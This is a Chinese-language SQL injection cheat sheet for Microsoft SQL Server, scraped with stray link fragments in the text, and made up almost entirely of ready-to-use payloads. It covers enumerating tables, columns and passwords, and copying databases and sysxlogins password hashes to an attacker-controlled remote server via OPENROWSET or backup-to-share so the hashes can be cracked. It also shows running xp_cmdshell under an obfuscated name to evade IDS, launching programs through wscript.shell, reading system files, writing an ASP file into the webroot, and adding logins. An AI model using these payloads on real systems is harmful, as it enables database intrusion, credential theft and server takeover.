;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目录bak.dat 

如果被限制则可以。  

select * from openrowset(_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax) 


查询构造:  

SELECT * FROM news WHERE id=... AND topic=... AND .....  

adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>  

select 123;--  

;use master;--  

:a or name like fff%;-- 显示有一个叫ffff的用户哈。  

and 1<>(select count(email) from [user]);--  

;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--  

;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--  

;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--  

;update [users] set email=(select top 1 count(id) from password) where name=ffff;--  

;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--  

;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--  

上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。  

通过查看ffff的用户资料可得第一个用表叫ad  

然后根据表名ad得到这个表的ID 得到第二个表的名字 


insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-- 

insert into users values( 667,123,123,0xffff)-- 

insert into users values ( 123, admin--, password, 0xffff)-- 

;and user>0  

;and (select count(*) from sysobjects)>0  

;and (select count(*) from mysysobjects)>0 //为access_blank>数据库  


枚举出数据表名 

;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);-- 

这是将第一个表名更新到aaa的字段处。  

读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>刚才得到的表名)。  

;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--  

然后id=1552 and exists(select * from aaa where aaa>5)  

读出第二个表,一个个的读出,直到没有为止。  

读字段是这样:  

;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),1));--  

然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名  

;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));--  

然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名  


[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]  

update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)  

通过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]  


[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]  

update 表名 set 字段=(select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列如:1) [ where 条件]  


绕过IDS的检测[使用变量]  

;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:/  

;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:/  


1、 开启远程_blank>数据库  

基本语法  

select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )  

参数: (1) OLEDB Provider name  

2、 其中连接字符串参数可以是任何端口用来连接,比如  

select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table 

3.复制目标主机的整个_blank>数据库insert所有远程表到本地表。 


基本语法:  

insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2  

这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:  

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from table2  

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases)  

select * from master.dbo.sysdatabases  

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysobjects)  

select * from user_blank>_database.dbo.sysobjects  

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_syscolumns)  

select * from user_blank>_database.dbo.syscolumns  

复制_blank>数据库:  

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1  

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2  


复制哈西表(HASH)登录_blank>密码的hash存储于sysxlogins中。方法如下:  

insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins  

得到hash之后,就可以进行暴力破解。 


遍历目录的方法: 先创建一个临时表:temp  

;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--  

;insert temp exec master.dbo.xp_blank>_availablemedia;-- 获得当前所有驱动器  

;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:/;-- 获得子目录列表  

;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:/;-- 获得所有子目录的目录树结构,并寸入temp表中  

;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:/web/index.asp;-- 查看某个文件的内容  

;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:/;--  

;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:/ *.asp /s/a;--  

;insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscript C:/Inetpub/AdminScripts/adsutil.vbs enum w3svc  

;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:/;-- (xp_blank>_dirtree适用权限PUBLIC)  

写入表:  

语句1:and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin));--  

语句2:and 1=(SELECT IS_blank>_SRVROLEMEMBER(serveradmin));--  

语句3:and 1=(SELECT IS_blank>_SRVROLEMEMBER(setupadmin));--  

语句4:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));--  

语句5:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));--  

语句6:and 1=(SELECT IS_blank>_SRVROLEMEMBER(diskadmin));--  

语句7:and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));--  

语句8:and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));--  

语句9:and 1=(SELECT IS_blank>_MEMBER(db_blank>_owner));--  


把路径写到表中去:  

;create table dirs(paths varchar(100), id int)-- 

;insert dirs exec master.dbo.xp_blank>_dirtree c:/-- 

and 0<>(select top 1 paths from dirs)-- 

and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))-- 

;create table dirs1(paths varchar(100), id int)--  

;insert dirs exec master.dbo.xp_blank>_dirtree e:/web--  

and 0<>(select top 1 paths from dirs1)-- 


把_blank>数据库备份到网页目录:下载  

;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:/web/down.bak;--  


and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)  

and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 参看相关表。  

and 1=(select user_blank>_id from USER_blank>_LOGIN)  

and 0=(select user from USER_blank>_LOGIN where user>1)  


-=- wscript.shell example -=- 

declare @o int  

exec sp_blank>_oacreate wscript.shell, @o out  

exec sp_blank>_oamethod @o, run, NULL, notepad.exe  

; declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe--  


declare @o int, @f int, @t int, @ret int  

declare @line varchar(8000)  

exec sp_blank>_oacreate scripting.filesystemobject, @o out  

exec sp_blank>_oamethod @o, opentextfile, @f out, c:/boot.ini, 1  

exec @ret = sp_blank>_oamethod @f, readline, @line out  

while( @ret = 0 )  

begin  

print @line  

exec @ret = sp_blank>_oamethod @f, readline, @line out  

end  


declare @o int, @f int, @t int, @ret int  

exec sp_blank>_oacreate scripting.filesystemobject, @o out  

exec sp_blank>_oamethod @o, createtextfile, @f out, c:/inetpub/wwwroot/foo.asp, 1  

exec @ret = sp_blank>_oamethod @f, writeline, NULL,  



declare @o int, @ret int  

exec sp_blank>_oacreate speech.voicetext, @o out  

exec sp_blank>_oamethod @o, register, NULL, foo, bar  

exec sp_blank>_oasetproperty @o, speed, 150  

exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528  

waitfor delay 00:00:05  


; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05--  


xp_blank>_dirtree适用权限PUBLIC 

exec master.dbo.xp_blank>_dirtree c:返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。 

create table dirs(paths varchar(100), id int) 

建表,这里建的表是和上面xp_blank>_dirtree相关连,字段相等、类型相同。 

insert dirs exec master.dbo.xp_blank>_dirtree c:只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,一步步达到我们想要的信息!